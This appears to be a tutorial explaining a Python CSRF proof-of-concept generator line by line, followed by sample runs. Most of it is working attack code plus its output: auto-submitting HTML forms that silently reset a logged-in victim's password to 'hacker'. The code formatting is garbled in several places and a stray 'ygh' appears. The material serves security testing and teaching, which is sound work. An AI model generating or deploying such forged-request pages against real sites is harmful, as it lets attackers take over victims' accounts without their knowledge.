CSRF POC generator:

A CSRF (Cross-Site Request Forgery) PoC (Proof of Concept) generator is a tool or script that automatically creates a demonstration of a CSRF attack for testing or educational purposes. CSRF is a type of web security vulnerability where an attacker tricks a user into unintentionally executing actions on a web application in which the user is authenticated.

The CSRF PoC generator typically takes inputs such as the target URL, HTTP method, parameters, and optionally the author's name and form encoding type. It then generates HTML code that includes a form with hidden input fields containing the provided parameters. This form is crafted in a way that, when visited by a victim who is logged into the targeted web application, it automatically submits the form without their knowledge, thereby performing a malicious action on behalf of the victim.

The generated PoC can be used to demonstrate the CSRF vulnerability to developers, security professionals, or for educational purposes to understand how such attacks work and how to prevent them. It's important to note that CSRF PoCs should only be used against applications where you have explicit permission to test or demonstrate security vulnerabilities. Using them against unauthorized targets can be illegal and unethical.

Let's break down the code line by line:

```python import argparse

from yattag import Doc, indent

import urllib.parse

```

- Here, the script imports necessary modules:

- `argparse`: This is a standard Python module for parsing command-line arguments.

- `yattag`: This seems to be a library for generating HTML/XML documents in Python.

- `urllib.parse`: This module provides functions for parsing URLs.

```python

parser = argparse.ArgumentParser(description='This is a pyhton script which generates PoC for Cross-site request forgery with autosubmit form. you just need to provide Url, method and parameters.')

```

- This line creates an argument parser object using `argparse.ArgumentParser`. It takes an optional argument `description`, which provides a brief description of what the script does.

```python parser.add_argument('-m', '--method', help='Method')

parser.add_argument('-u', '--url', help='url') parser.add_argument('-

p', '--parameters', help='Request parameter')

parser.add_argument('-a', '--author', help='Name of Author')

parser.add_argument('-e', '--enctype', help='enctype')

```

- Here, the script sets up command-line arguments using `add_argument` method of the parser object. Each argument corresponds to a command-line option. For example:

- `-m` or `--method`: Specifies the HTTP method.

- `-u` or `--url`: Specifies the URL.

- `-p` or `--parameters`: Specifies the request parameters.

- `-a` or `--author`: Specifies the author's name.

- `-e` or `--enctype`: Specifies the enctype (encoding type) of the form.

```python arg =

parser.parse_args()

```

- This line parses the command-line arguments provided by the user and stores them in the `arg` variable.

```python author =

None user_enctype =

None

```

- These lines initialize variables `author` and `user_enctype` to `None`.

```python if arg.method is not None:

method_arg = arg.method

method_arg = method_arg.upper()

method_list = ["POST", "GET"]     if

method_arg in method_list:

      method = method_arg

   else:

      print("Methods Supported [  GET and POST ]")

      exit(0)

else:

   print(parser.format_help())

   exit(0)

```

- This block checks if the method argument is provided by the user. If provided, it converts it to uppercase and checks if it's either "POST" or "GET". If not, it prints the supported methods and exits. If not provided, it prints the help message and exits.

```python if arg.url is

not None:

   url = arg.url else:

   print(parser.format_help())

   exit(0)

```

- This block checks if the URL argument is provided by the user. If provided, it assigns it to the `url` variable. If not, it prints the help message and exits.

```python if arg.parameters is

not None:     user_params =

arg.parameters

user_params =
```

urllib.parse.unquote(user_pa

rams) else:

print(parser.format_help())

exit(0)

```

- This block checks if the parameters argument is provided by the user. If provided, it assigns it to the `user_params` variable and unquotes (decodes) it using `urllib.parse.unquote()`. If not provided, it prints the help message and exits.

```python if arg.author is

not None: author =

arg.author

```

- This block checks if the author argument is provided by the user. If provided, it assigns it to the `author` variable.

```python if arg.enctype is not None: enctype = arg.enctype enctype_list =

["application/x-www-form-urlencoded", "multipart/form-data", "text/plain"] if enctype in

enctype_list: user_enctype = enctype

```

- This block checks if the enctype argument is provided by the user. If provided, it assigns it to the `enctype` variable and checks if it's one of the supported enctype types. If so, it assigns it to the `user_enctype` variable.

This covers the initialization and argument parsing part of the script. Let me know if you want me to continue explaining the rest of the code. let's continue explaining the rest of the code:

```python

# to find out the name value pairs of parameters def

parameters(params):

```
    name_value = dict() # define a dict variable
params = params.replace('"', '%22')   if '&'
and '=' in params:
        split_by_amp = params.split('&') # split by &
for i in split_by_amp:
            split_by_eq = i.split('=')
if split_by_eq[1] == '':
split_by_eq[1] = ' '
            name_value[split_by_eq[0]] = split_by_eq[1]
    else:
        print(parser.format_help())
        exit(0)
    return name_value
```

- This part of the code defines a function named `parameters` that takes a string `params` as input (which presumably contains URL-encoded parameters) and returns a dictionary containing the namevalue pairs of those parameters.
- Inside the function, it first initializes an empty dictionary `name_value`.
- Then, it replaces any occurrences of double quotes (`"`) with `%22` in the `params` string.
- Next, it checks if both `&` and `=` are present in the `params` string. If not, it prints the help message and exits.
- If both `&` and `=` are present, it splits the `params` string by `&` to get individual key-value pairs.
- For each key-value pair obtained, it splits them by `=` to separate the key and value.
- If the value is empty (after splitting), it replaces it with a single space.
- It then adds the key-value pair to the `name_value` dictionary.
- Finally, it returns the `name_value` dictionary.

```python
# to create form of html with author name and enctype def form_create(method, url, params,
author='', enc_type='application/x-www-form-urlencoded'):
```

```
    doc, tag, text = Doc().tagtext()     with
tag('html'):        with tag('title'):
text('This CSRF was found by ' + author)
with tag('body'):            with tag('h1'):
                text('This POC was Created By CSRF PoC Generator Tool')
with tag('form', action=url, method=method, enctype=enc_type):
for name in params:
                    value = params[name]                    doc.stag('input',
type='hidden', name=name, value=value)
            with tag('script'):
                text('document.forms[0].submit();')
return indent(doc.getvalue(), indent_text=True)
```

- This part of the code defines a function named `form_create` that generates an HTML form with hidden input fields containing the provided parameters.
- It takes several parameters including `method` (HTTP method), `url` (form action URL), `params` (dictionary of parameters), `author` (author's name), and `enc_type` (enctype of the form).
- Inside the function, it uses the `Doc` class from the `yattag` library to create an HTML document.
- It generates the HTML structure with `<html>`, `<title>`, `<body>`, `<h1>`, `<form>`, and `<script>` tags.
- The form is set to submit automatically using JavaScript.
- Finally, it returns the generated HTML document after indenting it for readability.

This completes the explanation of the `parameters` and `form_create` functions. Let me know if you need further explanation or if you have any specific questions!

```python if __name__ ==
'__main__':
    try:
```

```
        params = parameters(user_params)        if author
is not None or user_enctype is not None:            if
author is not None and user_enctype is None:
                POC = form_create(method, url, params, author=author)
                print(POC)
            if user_enctype is not None and author is None:
                POC = form_create(method, url, params, enc_type=user_enctype)
                print(POC)          if user_enctype and
author is not None:
                POC = form_create(method, url, params, author, user_enctype)
                print(POC)
else:
            POC = form_create(method, url, params)
            print(POC)
except:
        print("Something Went Wrong With Parameters")
        exit(0)
```

- This block of code checks if the script is being run as the main program (`if __name__ == '__main__':`). This ensures that the code within this block is only executed when the script is run directly, not when it's imported as a module.
- Inside the `try` block, it first calls the `parameters` function to parse the user-provided parameters (`user_params`) into a dictionary named `params`.
- Then, it checks if either the `author` or `user_enctype` is provided. Based on the combination of provided arguments, it generates the PoC HTML form using the `form_create` function with appropriate arguments.
- If neither `author` nor `user_enctype` is provided, it generates the PoC HTML form with default values. - If any error occurs during this process, it prints a generic error message indicating that something went wrong with the parameters.
- The script exits after printing the PoC HTML form or the error message.

This completes the explanation of the entire script. The script essentially takes user-provided arguments via the command line, generates a PoC HTML form for a CSRF attack based on those arguments, and outputs the HTML form. Let me know if you have further questions or if there's anything else I can assist you with!

```
┌──(kali㉿kali)-[~/csrf]
└─$ python3 csrf.py
usage: csrf.py [-h] [-m METHOD] [-u URL] [-p PARAMETERS] [-a AUTHOR] [-e ENCTYPE]

This is a pyhton script which generates PoC for Cross-site request forgery with autosubmit form. you jus

options:
  -h, --help            show this help message and exit
  -m METHOD, --method METHOD
                        Method
  -u URL, --url URL     url
  -p PARAMETERS, --parameters PARAMETERS
                        Request parameter
  -a AUTHOR, --author AUTHOR
                        Name of Author
  -e ENCTYPE, --enctype ENCTYPE
                        enctype
```

```
┌──(kali㉿kali)-[~/csrf]
└─$ python3 csrf.py -u http://example.com -m post -p "new_password=hacker&re_new_password=hacker"
<html>
  <title>
    This CSRF was found by
  </title>
  <body>
    <h1>
      This POC was Created By CSRF PoC Generator Tool
    </h1>
    <form action="http://example.com" method="POST" enctype="application/x-www-form-urlencoded">
      <input type="hidden" name="new_password" value="hacker" />
      <input type="hidden" name="re_new_password" value="hacker" />
    </form>
    <script>document.forms[0].submit();</script>
  </body>
</html>
```

ygh

```
┌──(kali㉿kali)-[~/csrf]
└─$ python3 csrf.py -u http://example.com -m post -p "new_password=hacker&re_new_password=hacker" -a she
rif
<html>
  <title>
    This CSRF was found by sherif
  </title>
  <body>
    <h1>
      This POC was Created By CSRF PoC Generator Tool
    </h1>
    <form action="http://example.com" method="POST" enctype="application/x-www-form-urlencoded">
      <input type="hidden" name="new_password" value="hacker" />
      <input type="hidden" name="re_new_password" value="hacker" />
    </form>
    <script>document.forms[0].submit();</script>
  </body>
</html>
```

Enctype

it supports 3 enctype `application/x-www-form-urlencoded`, `multipart/formdata` and `text/plain`.

Usage

Options
```
root@ghost:~# python3 csrf_poc_gen.py -h
usage: csrf_poc_gen.py [-h] [-m METHOD] [-u URL] [-p PARAMETERS] [-a AUTHOR]
                       [-e ENCTYPE]

This is a pyhton script which generates PoC for Cross-site request forgery
with autosubmit form. you just need to provide Url, method and parameters.

optional arguments:
  -h, --help            show this help message and exit
  -m METHOD, --method METHOD
                        Method
  -u URL, --url URL     url
  -p PARAMETERS, --parameters PARAMETERS
                        Request parameters
  -a AUTHOR, --author AUTHOR
                        Name of Author
  -e ENCTYPE, --enctype ENCTYPE
                        enctype
```

To Generate PoC

Note: Parameters should be in the form of key value pair (key=value&key=value).
```
root@ghost:~# python3 csrf_poc_gen.py -u http://example.com -m post -p "new_password=hacker&re_new_password=hacker"
<html>
  <title>
    This CSRF was found by
  </title>
  <body>
    <h1>
      This POC was Created By CSRF PoC Generator Tool
    </h1>
    <form action="http://example.com" method="POST" enctype="application/x-www-form-urlencoded">
      <input type="hidden" name="new_password" value="hacker" />
      <input type="hidden" name="re_new_password" value="hacker" />
    </form>
    <script>document.forms[0].submit();</script>
  </body>
</html>
```

Enctype
it supports 3 enctype ```application/x-www-form-urlencoded```, ```multipart/form-data``` and ```text/plain```.

```
root@ghost:~# python3 csrf_poc_gen.py -u http://example.com -m post -p "new_password=hacker&re_new_password=hacker" -e "text/plain"
<html>
  <title>
    This CSRF was found by
  </title>
  <body>
    <h1>
      This POC was Created By CSRF PoC Generator Tool
    </h1>
    <form action="http://example.com" method="POST" enctype="text/plain">
      <input type="hidden" name="new_password" value="hacker" />
      <input type="hidden" name="re_new_password" value="hacker" />
    </form>
    <script>document.forms[0].submit();</script>
  </body>
</html>
```

With Discoverer Name

```
root@ghost:~# python3 csrf_poc_gen.py -u http://example.com -m post -p "new_password=hacker&re_new_password=hacker" -a "Hacker man"
<html>
  <title>
    This CSRF was found by Hacker man
  </title>
  <body>
    <h1>
      This POC was Created By CSRF PoC Generator Tool
    </h1>
    <form action="http://example.com" method="POST" enctype="application/x-www-form-urlencoded">
      <input type="hidden" name="new_password" value="hacker" />
      <input type="hidden" name="re_new_password" value="hacker" />
    </form>
    <script>document.forms[0].submit();</script>
  </body>
</html>
```